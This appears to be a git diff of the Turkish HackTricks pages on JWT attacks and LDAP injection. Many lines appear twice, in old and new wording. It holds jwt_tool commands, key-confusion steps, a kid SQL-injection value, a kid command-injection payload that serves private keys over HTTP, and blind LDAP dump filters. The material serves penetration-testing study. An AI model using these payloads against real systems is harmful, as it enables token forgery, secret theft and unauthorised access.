* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
**Bu yazının bir kısmı şu harika yazıya dayanmaktadır:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWT'leri pentest etmek için harika bir aracın yazarı** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**JWT'leri pentest etmek için harika bir araç olanın yazarı** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Hızlı Kazanımlar**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)'u `Tüm Testler!` modunda çalıştırın ve yeşil satırları bekleyin
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)'u `Tüm Testler!` modunda çalıştırın ve yeşil çizgileri bekleyin
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış şekilde kontrol ettiği bir durum bulabilir:
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış şekilde kontrol ettiği bir durumu bulabilir:
![](<../.gitbook/assets/image (932).png>)
Daha sonra, proxy'nizde isteği arayabilir veya kullanılan JWT'yi jwt_tool'u kullanarak o istek için dump edebilirsiniz:
Daha sonra, proxy'nizde isteği arayabilir veya jwt_tool'u kullanarak o istek için kullanılan JWT'yi alabilirsiniz:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Veriyi değiştirmeden veriyi bozma
### Veriye hiçbir şey değiştirmeden veriyi değiştirin
Sadece veriyi bozarak imzayı değiştirmeden kontrol edebilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
Sadece veriyi değiştirerek imzayı aynı bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
#### **Token kontrol ediliyor mu?**
Bir JWT'nin imzasının doğrulandığını kontrol etmek için:
* Bir hata mesajı doğrulamanın devam ettiğini gösterir; ayrıntılı hatalardaki hassas bilgiler incelenmelidir.
* Dönen sayfada bir değişiklik doğrulamayı gösterir.
* Herhangi bir değişiklik olmaması doğrulama olmadığını gösterir; bu durumda veri paylaşımı iddialarını bozmak için denemeler yapılabilir.
* Geri dönen sayfada bir değişiklik doğrulamayı gösterir.
* Herhangi bir değişiklik olmaması doğrulama olmadığını gösterir; bu durumda veri yükü iddialarını değiştirmek için denemeler yapılmalıdır.
### Köken
Token'ın sunucu tarafından mı yoksa istemci tarafından mı oluşturulduğunu belirlemek önemlidir, bunu proxy'nin istek geçmişini inceleyerek yapabilirsiniz.
* İstemci tarafından ilk kez görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir ve daha fazla inceleme gerektirir.
* İstemci tarafından ilk kez görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir, bu da daha fazla inceleme gerektirir.
* Sunucu tarafından kaynaklanan token'lar güvenli bir süreci işaret eder.
### Süre
Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki hiç süresi dolmuyordur. "exp" alanı varsa, sunucunun bunu doğru şekilde işleyip işlemediğini kontrol edin.
Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki hiç süresi dolmuyordur. "exp" alanı varsa, sunucunun onu doğru şekilde işleyip işlemediğini kontrol edin.
### HMAC gizli anahtarını kaba kuvvetle çözme
@ -70,7 +70,7 @@ Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki hiç sür
Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.
Bu zafiyeti denemek ve JWT içinde farklı değerleri değiştirmek için Burp uzantısını "JSON Web Token" kullanın (istemi Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. Ayrıca "Alg" alanının değerini "None" olarak seçebilirsiniz).
Bu zafiyeti denemek ve JWT içinde farklı değerleri değiştirmek için Burp uzantısını "JSON Web Token" olarak kullanın (istekleri Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. Ayrıca "Alg" alanının değerini "None" olarak seçebilirsiniz).
### Algoritmayı RS256(asimetrik) den HS256(simetrik) olarak değiştirme (CVE-2016-5431/CVE-2016-10555)
@ -79,7 +79,7 @@ RS256 algoritması, mesajı imzalamak için özel anahtar kullanır ve doğrulam
Algoritmayı RS256'dan HS256'ya değiştirirseniz, arka uç kodu genel anahtarı gizli anahtar olarak kullanır ve ardından imzayı doğrulamak için HS256 algoritmasını kullanır.
Daha sonra genel anahtarı kullanarak RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bu işlemi gerçekleştirmek için web sunucusunun sertifikasını alabilirsiniz.
Daha sonra, genel anahtarı kullanarak RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bu işlemi gerçekleştirmek için web sunucusunun sertifikasını alabilirsiniz.
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -97,7 +97,7 @@ Talimatlar, JWT belgelerinin güvenliğini değerlendirmek için bir yöntemi de
* **"jku" Başlığı ile Belge Değerlendirme**:
* "jku" iddiasının URL'sini doğrulayarak, uygun JWKS dosyasına yönlendirdiğinden emin olun.
* Belgenin "jku" değerini değiştirerek, trafiği gözlemlemeye izin veren kontrol edilen bir web hizmetine yönlendirin.
* Belirtecin "jku" değerini değiştirerek, trafiği gözlemlemeye izin veren kontrol edilen bir web hizmetine yönlendirin.
* **HTTP Etkileşimi İçin İzleme**:
* Belirtilen URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
* Bu işlem için `jwt_tool` kullanırken, testi kolaylaştırmak için `jwtconf.ini` dosyasını kişisel JWKS konumunuzla güncellemek önemlidir.
@ -110,19 +110,19 @@ python3 jwt_tool.py JWT_BURAYA -X s
### Kid Sorunları Genel Bakış
Belirli bir anahtarı tanımlamak için kullanılan isteğe bağlı bir başlık iddiası olan `kid`, belirtecin imzasını doğrulamak için birden fazla anahtarın bulunduğu ortamlarda özellikle önemlidir. Bu iddia, belirtecin imzasını doğrulamak için uygun anahtarı seçmede yardımcı olur.
Bir belirtilmeyen başlık iddiası olan `kid`, belirli bir anahtarı tanımlamak için kullanılır ve özellikle belirtecin imza doğrulaması için birden fazla anahtarın bulunduğu ortamlarda önemli hale gelir. Bu iddia, bir belirtecin imzasını doğrulamak için uygun anahtarı seçmede yardımcı olur.
#### "kid" ile Anahtarıığa Çıkarma
Başlıkta `kid` iddiası bulunduğunda, ilgili dosyayı veya varyasyonlarını aramak için web dizininde arama yapılması önerilir. Örneğin, `"kid":"anahtar/12345"` belirtilmişse, _/anahtar/12345_ ve _/anahtar/12345.pem_ dosyaları web kökünde aranmalıdır.
Başlıkta `kid` iddiası bulunduğunda, ilgili dosyayı veya varyasyonlarını web dizininde aramak tavsiye edilir. Örneğin, `"kid":"anahtar/12345"` belirtilmişse, _/anahtar/12345_ ve _/anahtar/12345.pem_ dosyaları web kökünde aranmalıdır.
#### "kid" ile Yol Geçişi
`kid` iddiası, dosya sistemi üzerinden gezinmek için de kullanılabilir ve bu, keyfi bir dosyanın seçilmesine izin verebilir. `kid` değerini değiştirerek belirli dosyalara veya hizmetlere hedef almak için bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi değiştirmek ve orijinal imzayı korurken `kid` değerini değiştirmek, jwt\_tool'da `-T` bayrağını kullanarak aşağıda gösterildiği gibi başarılabilir:
`kid` iddiası, dosya sistemi üzerinden gezinmek için de kullanılabilir ve bu, keyfi bir dosyanın seçilmesine izin verebilir. Belirli dosyaları veya hizmetleri hedeflemek için `kid` değerini değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi değiştirmek için `kid` değerini değiştirerek orijinal imzayı koruyarak `-T` bayrağını kullanarak jwt\_tool'da başarıyla gerçekleştirilebilir, aşağıda gösterildiği gibi:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Hedeflenen dosyalarda tahmin edilebilir içeriklerle, geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerindeki `/proc/sys/kernel/randomize_va_space` dosyası, içerdiği **2** değeriyle `kid` parametresinde **2** olarak simetrik şifre olarak JWT oluşturmak için kullanılabilir.
Hedeflenen dosyalara öngörülebilir içerikle saldırarak geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerinde **2** değerini içerdiğı bilinen `/proc/sys/kernel/randomize_va_space` dosyası, JWT oluşturmak için simetrik şifre olarak **2** olarak `kid` parametresinde kullanılabilir.
#### "kid" Üzerinden SQL Enjeksiyonu
@ -130,11 +130,11 @@ Eğer `kid` iddiasının içeriği bir veritabanından bir şifre almak için ku
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Bu değişiklik, JWT imzalama için bilinen gizli anahtar olan `ATTACKER`'ın kullanılmasını zorlar.
Bu değişiklik JWT imzalama için bilinen gizli anahtar `ATTACKER`'ın kullanılmasını zorlar.
#### "kid" Üzerinden OS Enjeksiyonu
#### "kid" Üzerinden İşletim Sistemi Enjeksiyonu
`kid` parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzak Kod Yürütme (RCE) güvenlik açıklarına yol açabilir. `kid` parametresine komutlar enjekte edilerek, özel anahtarlar açığa çıkarılabilir. RCE ve anahtarın açığa çıkarılması için bir örnek yük şu şekildedir:
`kid` parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzaktan Kod Yürütme (RCE) güvenlik açıklarına yol açabilir. `kid` parametresine komutlar enjekte edilerek özel anahtarlar açığa çıkarılabilir. RCE ve anahtarığını başarmak için bir örnek yük şudur:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -143,7 +143,7 @@ Bu değişiklik, JWT imzalama için bilinen gizli anahtar olan `ATTACKER`'ın ku
#### jku
jku, **JWK Set URL**'nin kısaltmasıdır.\
Eğer belirtilen bir URL'yi kontrol eden bir token "jku" **Header** iddiası kullanıyorsa, bu URL'nin, belirtilen anahtarı doğrulamak için Genel Anahtarı içeren JWKS dosyasını işaret etmesi gerekir. Trafik izleyebileceğiniz bir web servise jku değerini işaret edecek şekilde token'ı değiştirin.
Eğer token bir "**jku**" **Header** iddiası kullanıyorsa, **sağlanan URL'yi kontrol edin**. Bu, belirtecin doğrulanması için Genel Anahtarı tutan JWKS dosyasını içeren bir URL'ye işaret etmelidir. Belirteci, trafiği izleyebileceğiniz bir web hizmetine işaret edecek şekilde değiştirin.
İlk olarak, yeni özel ve genel anahtarlarla yeni bir sertifika oluşturmanız gerekmektedir.
```bash
@ -164,28 +164,28 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. PEM formunda kodlanmış X.509 (bir sertifika format standardı) genel sertifikalar kümesine işaret eden bir URI. Kümedeki ilk sertifika bu JWT'yi imzalamak için kullanılan sertifikadır. Ardışık sertifikalar birbirini imzalar, böylece sertifika zinciri tamamlanmış olur. X.509, RFC 5280'de tanımlanmıştır. Sertifikaları transfer etmek için taşıma güvenliği gereklidir.
X.509 URL. PEM formunda kodlanmış X.509 (bir sertifika format standardı) genel sertifikalar kümesine işaret eden bir URI. Kümedeki ilk sertifika bu JWT'yi imzalamak için kullanılan sertifikadır. Ardışık sertifikalar birbirini imzalar, böylece sertifika zinciri tamamlanmış olur. X.509, RFC 5280'de tanımlanmıştır. Sertifikaların transfer edilmesi için taşıma güvenliği gereklidir.
Bu başlığı **kendi kontrolünüzdeki bir URL'ye değiştirmeyi deneyin** ve herhangi bir istek alınıp alınmadığını kontrol edin. Bu durumda JWT'yi **manipüle edebilirsiniz**.
Bu başlığı kendi kontrolünüzdeki bir URL'ye **değiştirmeyi deneyin** ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda JWT'yi **değiştirebilirsiniz**.
Kendi kontrolünüzdeki bir sertifika kullanarak yeni bir belirteç oluşturmak için sertifikayı oluşturmanız ve genel ve özel anahtarları çıkarmanız gerekmektedir:
Kendi kontrolünüzdeki bir sertifikayı kullanarak yeni bir belge oluşturmak için genel ve özel anahtarları çıkarmanız gerekmektedir:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Sonra örneğin [**jwt.io**](https://jwt.io) kullanabilirsiniz, yeni JWT'yi oluşturmak için **oluşturulan genel ve özel anahtarları ve .crt uzantılı sertifikaya x5u parametresini işaretlemek**.
Ardından örneğin [**jwt.io**](https://jwt.io) kullanarak yeni JWT'yi oluşturabilirsiniz, **oluşturulan genel ve özel anahtarları kullanarak ve x5u parametresini oluşturulan .crt sertifikasına işaret edecek şekilde ayarlayarak.**
![](<../.gitbook/assets/image (953).png>)
Ayrıca bu iki zafiyeti de **SSRF'ler için kötüye kullanabilirsiniz**.
Ayrıca bu zafiyetleri **SSRF'ler için kötüye kullanabilirsiniz**.
#### x5c
Bu parametre **base64 ile sertifikayı** içerebilir:
Bu parametre **base64 formatında sertifikayı** içerebilir:
![](<../.gitbook/assets/image (1116).png>)
Saldırgan, **kendi kendine imzalı bir sertifika oluşturursa** ve ilgili özel anahtarı kullanarak sahte bir belirteç oluşturursa ve "x5c" parametresinin değerini yeni oluşturulan sertifikayla değiştirirse ve diğer parametreleri, yani n, e ve x5t'yi değiştirirse, aslında sahte belirteç sunucu tarafından kabul edilecektir.
Saldırgan, **kendi kendine imzalı bir sertifika oluşturursa** ve ilgili özel anahtarı kullanarak sahte bir belge oluşturur ve "x5c" parametresinin değerini yeni oluşturulan sertifikayla değiştirir ve diğer parametreleri, yani n, e ve x5t'yi değiştirirse, aslında sahte belge sunucu tarafından kabul edilecektir.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@ -196,7 +196,7 @@ Eğer JWT aşağıdaki senaryoda olduğu gibi bir genel anahtarı gömülüyse:
![](<../.gitbook/assets/image (619).png>)
Aşağıdaki nodejs betiği kullanılarak bu verilerden bir genel anahtar oluşturulabilir:
Aşağıdaki nodejs betiği kullanılarak bu verilerden bir genel anahtar oluşturmak mümkündür:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -212,7 +212,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Bu Node.js betiği kullanılarak "n" ve "e" değerlerine ulaşabilirsiniz:
Bu Node.js betiği kullanarak "n" ve "e" değerlerini elde edebilirsiniz:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -231,7 +231,7 @@ Bazı uygulamalar ES256 kullanıyorsa ve iki JWT oluşturmak için aynı nonce'u
### JTI (JWT Kimliği)
JTI (JWT Kimliği) iddiası, bir JWT Jetonu için benzersiz bir tanımlayıcı sağlar. Jetonun tekrarlanmasını önlemek için kullanılabilir.\
Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. İstek 0001 ve 10001 aynı kimliği kullanacak. Bu nedenle, backend her istekte kimliği artırıyorsa, bu durumu istek arasında 10000 istek göndererek **bir isteği tekrar oynatmak** için kötüye kullanabilirsiniz.
Ancak, bir durumu hayal edin; ID'nin maksimum uzunluğunun 4 olduğu (0001-9999). İstek 0001 ve 10001 aynı kimliği kullanacak. Bu nedenle, backend her istekte kimliği artırıyorsa, bunu isteği **tekrar oynatmak** için kötüye kullanabilirsiniz (her başarılı tekrar oynatma arasında 10000 istek göndermek gerekebilir).
### JWT Kayıtlı iddiaları
@ -241,36 +241,36 @@ Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin.
**Çapraz-servis Röle Saldırıları**
Bazı web uygulamalarının, jetonlarının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. Bir JWT hizmeti tarafından bir istemci için oluşturulan bir jetonun, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile başka bir hizmetin hesabına kaydolma olasılığı araştırılmalıdır. Daha sonra elde edilen jetonun hedefe bir istekte tekrarlanıp tekrarlanmadığını görmek için bir deneme yapılmalıdır.
Bazı web uygulamalarının, jetonlarının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. Bir JWT hizmeti tarafından bir istemci için oluşturulan bir jetonun, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile başka bir hizmetin istemcisine hesap oluşturulması olasılığı araştırılmalıdır. Daha sonra elde edilen jetonun hedefe bir istekte tekrarlanıp tekrarlanmadığını görmek için bir deneme yapılmalıdır.
* Jetonunuzun kabul edilmesi, herhangi bir kullanıcının hesabının sahteciliğine izin verebilecek kritik bir sorunu işaret edebilir. Ancak, bu, üçüncü taraf bir uygulamaya kaydolmak için daha geniş test izni gerektirebileceğinden, bu durum yasal bir belirsizlik alanına girebilir.
* Jetonunuzun kabul edilmesi, herhangi bir kullanıcının hesabının sahteciliğine izin verebilecek kritik bir sorunu işaret edebilir. Ancak, üçüncü taraf bir uygulamada kaydolmak için daha geniş test izni gerekebileceğini unutmamak önemlidir, çünkü bu durum yasal bir belirsizlik alanına girebilir.
**Jetonların Süresi Kontrol Edilmesi**
**Jetonların Süresi Kontrolü**
Jetonun süresi, "exp" Yük iddiası kullanılarak kontrol edilir. JWT'ler genellikle oturum bilgisi olmadan kullanıldığından, dikkatli bir işlem gereklidir. Birçok durumda, başka bir kullanıcının JWT'sini yakalayıp tekrar oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC'si, JWT tekrar oynatma saldırılarını azaltmak için jetona bir son kullanma zamanı belirlemek için "exp" iddiasını kullanmayı önermektedir. Ayrıca, uygulamanın bu değeri işlemek ve süresi dolmuş jetonları reddetmek için ilgili kontrolleri uygulaması önemlidir. Jetonun "exp" iddiasını içeriyorsa ve test süreleri izin veriyorsa, jetonu saklamak ve süresi dolduktan sonra tekrar oynatmak tavsiye edilir. Jetonun içeriği, zaman damgası ayrıştırma ve süresi kontrol etme (zaman damgası UTC'de) (jwt_tool'un -R bayrağı ile) okunabilir.
Jetonun süresi, "exp" Yük iddiası kullanılarak kontrol edilir. JWT'ler genellikle oturum bilgisi olmadan kullanıldığından, dikkatli bir işlem gereklidir. Birçok durumda, başka bir kullanıcının JWT'sini yakalayıp tekrar oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC'si, JWT tekrar oynatma saldırılarını azaltmak için jetona bir son kullanma zamanı belirlemek için "exp" iddiasını kullanmayı önerir. Ayrıca, uygulamanın bu değerin işlenmesini ve süresi geçmiş jetonların reddedilmesini sağlamak için ilgili kontrolleri uygulaması önemlidir. Jetonun "exp" iddiasını içeriyorsa ve test süreleri izin veriyorsa, jetonu saklamak ve son kullanma süresinden sonra tekrar oynatmak tavsiye edilir. Jetonun içeriği, jet\_tool'un -R bayrağını kullanarak okunabilir, zaman damgası ayrıştırma ve son kullanma kontrolü (UTC zaman damgası) gibi.
* Uygulamanın hala jetonu doğrulaması durumunda bir güvenlik riski olabilir, çünkü bu, jetonun asla süresinin dolmayacağı anlamına gelebilir.
* Uygulamanın hala jetonu doğrulaması durumunda bir güvenlik riski olabilir, çünkü bu, jetonun hiçbir zaman süresinin dolmayacağı anlamına gelebilir.
### Araçlar
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşma yapabilme gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek destekleyin.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek.
</details>

View file

@ -4,21 +4,21 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -32,7 +32,7 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Enjeksiyonu**, kullanıcı girdilerinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişleri **doğru bir şekilde temizlemediğinde**, saldırganların yerel bir proxy aracılığıyla LDAP ifadelerini **manipüle etmelerine izin vererek**, yetkisiz erişime veya veri manipülasyonuna yol açabilir.
**LDAP Enjeksiyonu**, kullanıcı girdilerinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişleri **doğru bir şekilde temizlemediğinde**, saldırganların bir yerel proxy aracılığıyla LDAP ifadelerini **manipüle etmelerine izin vererek** yetkisiz erişime veya veri manipülasyonuna yol açabilir.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -56,7 +56,7 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Veritabanına erişebilir ve bu, birçok farklı türde bilgi içerebilir.
Veritabanına erişebilir ve bu farklı türlerde birçok bilgi içerebilir.
**OpenLDAP**: 2 filtre geldiğinde sadece ilkini yürütür.\
**ADAM veya Microsoft LDS**: 2 filtre ile hata verirler.\
@ -132,8 +132,8 @@ password=any
#### Listeler
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP Özellikleri](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount özellikleri](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
* [LDAP Öznitelikleri](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount öznitelikleri](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Kör LDAP Enjeksiyonu
@ -151,7 +151,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Veri dökümü
Ascii harfleri, rakamlar ve semboller üzerinde döngü oluşturabilirsiniz:
Ascii harfleri, rakamları ve sembolleri üzerinde döngü oluşturabilirsiniz:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -166,7 +166,7 @@ Ascii harfleri, rakamlar ve semboller üzerinde döngü oluşturabilirsiniz:
#### **Geçerli LDAP alanlarını keşfedin**
